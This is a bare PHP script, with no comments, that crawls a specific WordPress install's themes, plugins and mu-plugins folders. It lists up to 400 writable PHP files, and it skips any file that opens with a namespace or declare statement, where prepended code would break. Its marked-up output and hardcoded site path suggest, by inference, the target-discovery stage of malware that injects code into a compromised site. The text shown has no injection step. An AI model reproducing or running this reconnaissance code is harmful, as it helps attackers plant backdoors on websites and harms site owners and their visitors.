<?php   $r = "/home/cocc/public_html"; $r = rtrim(str_replace('\\', '/', $r), '/'); $max = 400; $n = 0;  function pb_leading_namespace_or_declare($path) {     $content = @file_get_contents($path, false, null, 0, 8192);     if ($content === false || $content === '') {         return false;     }     $p = 0;     $len = strlen($content);     if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) {         $p = 3;     }     while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) {         $p++;     }     if (strncmp($content, '<?php', 5) === 0) {         $p += 5;     } elseif ($p + 1 < $len && $content[$p] === '<' && $content[$p + 1] === '?'         && strncmp($content, '<?xml', 5) !== 0 && strncmp($content, '<?=', 3) !== 0) {         $p += 2;     } else {         return false;     }     while ($p < $len) {         while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) {             $p++;         }         if ($p >= $len) {             break;         }         if ($p + 1 < $len && $content[$p] === '/' && $content[$p + 1] === '/') {             $nl = strpos($content, "\n", $p);             $p = ($nl === false) ? $len : $nl + 1;             continue;         }         if ($p < $len && $content[$p] === '#') {             $nl = strpos($content, "\n", $p);             $p = ($nl === false) ? $len : $nl + 1;             continue;         }         if ($p + 1 < $len && $content[$p] === '/' && $content[$p + 1] === '*') {             $end = strpos($content, '*/', $p + 2);             $p = ($end === false) ? $len : $end + 2;             continue;         }         return (bool) preg_match('/^(namespace|declare)\b/i', substr($content, $p));     }     return false; }  function pb_looks_php_writable($path) {     if (!is_file($path) || !is_writable($path)) {         return false;     }     if (pb_leading_namespace_or_declare($path)) {         return false;     }     $size = @filesize($path);     if ($size === false || $size < 16) {         return false;     }     $head = @file_get_contents($path, false, null, 0, 64);     if ($head === false) {         return false;     }     return (strpos($head, '<?php') !== false) || (strpos($head, '<?=') !== false); }  function pb_rel_path($root, $abs) {     $root = rtrim(str_replace('\\', '/', $root), '/');     $abs = str_replace('\\', '/', $abs);     if (strpos($abs, $root . '/') === 0) {         return substr($abs, strlen($root) + 1);     }     if (preg_match('#/(wp-content/.+)$#', $abs, $m)) {         return $m[1];     }     return $abs; }  function pb_walk_php($dir, $root, &$n, $max) {     if ($n >= $max || !is_dir($dir)) {         return;     }     $items = @scandir($dir);     if (!is_array($items)) {         return;     }     foreach ($items as $name) {         if ($n >= $max) {             return;         }         if ($name === '.' || $name === '..') {             continue;         }         if ($name === 'node_modules' || $name === '.git' || $name === 'vendor' || $name === 'cache') {             continue;         }         $path = $dir . '/' . $name;         if (is_dir($path)) {             pb_walk_php($path, $root, $n, $max);             continue;         }         if (substr($name, -4) !== '.php') {             continue;         }         if (!pb_looks_php_writable($path)) {             continue;         }         $rel = pb_rel_path($root, $path);         print "<f>{$rel}</f>";         $n++;     } }  pb_walk_php($r . '/wp-content/themes', $r, $n, $max); pb_walk_php($r . '/wp-content/plugins', $r, $n, $max); pb_walk_php($r . '/wp-content/mu-plugins', $r, $n, $max); die('!ended!'); 